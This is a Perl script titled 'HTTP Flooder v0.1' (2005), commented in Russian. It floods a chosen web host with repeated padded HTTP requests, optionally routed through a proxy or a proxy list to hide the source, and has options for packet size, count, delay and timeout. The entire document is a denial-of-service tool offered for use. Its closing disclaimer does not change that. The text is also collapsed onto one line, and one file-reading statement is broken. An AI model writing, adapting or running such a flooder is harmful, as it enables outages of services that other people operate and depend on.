#!/usr/bin/perl # HTTP Flooder v0.1 # written by CQriT # 11 March 2005 # (Comments in KOI8-R), Sorry for my bad English # THERE IS NO WARRANTY FOR THE PROGRAM. # THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. # Для работы требуется модуль IO::Socket # Описание параметров командной строки # -h - удалённый хост, который будем флудить # -p - порт (по умолчанию 80) # -l - длинна пакетов в байтах, которые отсылаем на удалённый хост (по умолчанию 500) # -n - количество пакетов (по умолчанию 100) # --proxy - один прокси сервер, через который будем посылать всё это дерьмо (пример, 123.45.67.89:80) указывать порт после двоеточия ОБЯЗАТЕЛЬНО # --proxy-list - список прокси серверов из файла (каждая строка файла должна быть вида: "123.45.67.89:80" без кавычек, строки, начинающиеся с символа # считаются комментариями, поэтому нерабочие прокси можете закомментировать по ходу дела) # -w - пауза между отсылками пакетов (по умолчанию 0), указывается в секундах # -t - тайм аут в секундах (по умолчанию 10), то есть как долго будем ждать соединения с хостом/прокси-сервером (чем хуже у вас или на шелле канал, тем больше ставьте тайм аут) # --verbose - режим VERBOSE, то есть на экран будет выводится подробная информация о всех действиях и ошибках скрипта (рекомендую этот режим для отладки и при использовании проксиков) print "HTTP Flooder v0.1 by CQriT\n\n"; use IO::Socket; if(get_args()){ if($arg{'port'}){ if($arg{'port'}=~/\D/ || $arg{'port'}<1 || $arg{'port'}>65535){ print "Invalid port, using default - 80\n"; $arg{'port'}=80; } else{ print "Using port - $arg{'port'}\n"; } } else{ print "Using default http port - 80\n"; $arg{'port'}=80; } if($arg{'length'}){ if($arg{'length'}=~/\D/ || $arg{'length'}<1 || $arg{'length'}>10000){ print "Invalid length of packets, using default - 500 bytes\n"; $arg{'length'}=500; } else{ print "Length of packets - $arg{'length'}\n"; } } else{ print "Using default packets length - 500 bytes\n"; $arg{'length'}=500; } if($arg{'number'}){ if($arg{'number'}=~/\D/ || $arg{'number'}<1 || $arg{'number'}>1000){ print "Invalid number of packets, using default - 100\n"; $arg{'number'}=100; } else{ print "Number of packets - $arg{'number'}\n"; } } else{ print "Using default number of packets - 100\n"; $arg{'number'}=100; } if($arg{'waittime'}){ if($arg{'waittime'}=~/\D/ || $arg{'waittime'}<0 || $arg{'waittime'}>60){ print "Invalid waittime, using default - zero (do not wait)\n"; $arg{'waittime'}=0; } else{ print "Wait for - $arg{'waittime'} seconds\n"; } } else{ print "Using default waittime - zero (do not wait)\n"; $arg{'waittime'}=0; } if($arg{'timeout'} || $arg{'timeout'} eq '0'){ if($arg{'timeout'}=~/\D/ || $arg{'timeout'}<0 || $arg{'timeout'}>60){ print "Invalid timeout, using default - 10\n"; $arg{'timeout'}=10; } else{ print "TimeOut - $arg{'timeout'} seconds\n"; } } else{ print "Using default timeout - 10 seconds\n"; $arg{'timeout'}=10; } if($arg{'proxy'}){ if($arg{'proxy'}=~/^(\S+):(\d+)$/){ $prox=$1; $prox_port=$2; if($prox=~/[^A-Za-z0-9\.\-]/ || $prox_port<1 || $prox_port>65535){ print "Invalid proxy data! Example: 123.45.67.89:8080\n"; $prox=""; $prox_port=0; } } else{ print "Invalid proxy data! Example: 123.45.67.89:8080\n"; } } if($arg{'filename'}){ @file=load($arg{'filename'},1); if(@file){ print "Proxy list found... Using this list for flooding remote server...\n"; } else{ print "Proxy list not found or file is empty! Please check the command line arguments...\n"; } } if($arg{'verbose'}){ print "VERBOSE method - ON\n"; } $request='x'x$arg{'length'}; $request='GET /' . substr($request,0,length($request)-5); $request2='x'x$arg{'length'}; print "\n"; print "Starting flood!\n\n"; $all=0; $count=0; $error=0; if(@file){ while($all<$arg{'number'}){ foreach $item(@file){ if($all>=$arg{'number'}){ last; } $item=~s/[\n\r]//g; # Вместо чомпинга if($item=~/^(\S+):(\d+)$/){ $prox=$1; $prox_port=$2; if($prox!~/#/){ server($arg{'host'},$arg{'port'},$prox,$prox_port); } } } } if(!$count){ print "\nProxy list is invalid... Please read contents of this script for help and try again...\n\n"; } else{ $bytes=$arg{'length'}*$count; $error=$all-$count; if(!$bytes){$bytes=0;} if(!$error){$error=0;} if(!$count){$count=0;} print "\nFlooding done, $count packets sent, $bytes bytes total, $error errors occured...\n\n"; } } elsif($prox && $prox_port){ while($all<$arg{'number'}){ server($arg{'host'},$arg{'port'},$prox,$prox_port); } $bytes=$arg{'length'}*$count; $error=$all-$count; if(!$bytes){$bytes=0;} if(!$error){$error=0;} if(!$count){$count=0;} print "\nFlooding done, $count packets sent, $bytes bytes total, $error errors occured...\n\n"; } else{ while($all<$arg{'number'}){ server($arg{'host'},$arg{'port'}); } $bytes=$arg{'length'}*$count; $error=$all-$count; if(!$bytes){$bytes=0;} if(!$error){$error=0;} if(!$count){$count=0;} print "\nFlooding done, $count packets sent, $bytes bytes total, $error errors occured...\n\n"; } } else{ usage(); } sub server{ local($remote,$port,$proxy,$proxy_port)=@_; #print "$all - $arg{'number'} - $remote - $port\n"; $all++; if($remote && $port){ $err=0; if($proxy && $proxy_port){ if($arg{'verbose'}){ print "[$all] Connecting to proxy $proxy:$proxy_port......."; } $sock = IO::Socket::INET->new(PeerAddr => $proxy, PeerPort => $proxy_port, Proto => 'tcp', Timeout => $arg{'timeout'}) or $err++; if($sock && $arg{'verbose'} && !$err){ print "Done\n\tSending request......."; if($port!=80){ print $sock "POST http://$remote:$port HTTP/1.1\nHost: $remote\n\n$request2"; } else{ print $sock "POST http://$remote HTTP/1.1\nHost: $remote\n\n$request2"; } print "Done\n"; close($sock); $count++; } else{ if($arg{'verbose'}){ print "Error\n"; } } } else{ if($arg{'verbose'}){ print "[$all] Connecting to remote host $remote:$port......."; } $sock = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => 'tcp', Timeout => $arg{'timeout'}) or $err++; if($sock && $arg{'verbose'} && !$err){ print "Done\n\tSending request......."; print $sock "$request\n\n"; print "Done\n"; close($sock); $count++; } else{ if($arg{'verbose'}){ print "Error\n"; } } } if($arg{'waittime'}){ sleep($arg{'waittime'}); } } } sub get_args{ # Читаем переданные параметры, вот такая страшная функция local($i); for($i=0;$i<=$#ARGV;$i++){ if($ARGV[$i] eq '-h'){ $arg{'host'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '-l'){ $arg{'length'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '-n'){ $arg{'number'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '-p'){ $arg{'port'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '--proxy'){ $arg{'proxy'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '--proxy-list'){ $arg{'filename'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '-w'){ $arg{'waittime'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '-t'){ $arg{'timeout'}=$ARGV[$i+1]; } elsif($ARGV[$i] eq '--verbose'){ $arg{'verbose'}=1; } } if(!$arg{'host'} || $arg{'host'}=~/[^A-Za-z0-9\.\-]/){ return; } else{ return 1; } } sub load{ # Функция для чтения файла... Второй аргумент указывает на то, чтобы результат был возвращён в массиве... # Запихнул в функцию, потому, что люблю, чтобы всё было красиво ;) local($file,$list)=@_; $file=~s/[\|\;]//g; open(DATA,$file); if($list){ @lines=; } else{ $line=; } close(DATA); if($list){ return @lines; } else{ return $line; } } sub usage{ # Показываем хэлп @name=split(/\//,$0); $script=$name[$#name]; print "usage: ./$script -h [-l ] [-n ] \t\t\t[-p ] [--proxy ] [--proxy-list ] \t\t\t[-w ] [-t ] [--verbose]\n\n"; exit; } # Примечание: я не сторонник флуда ;)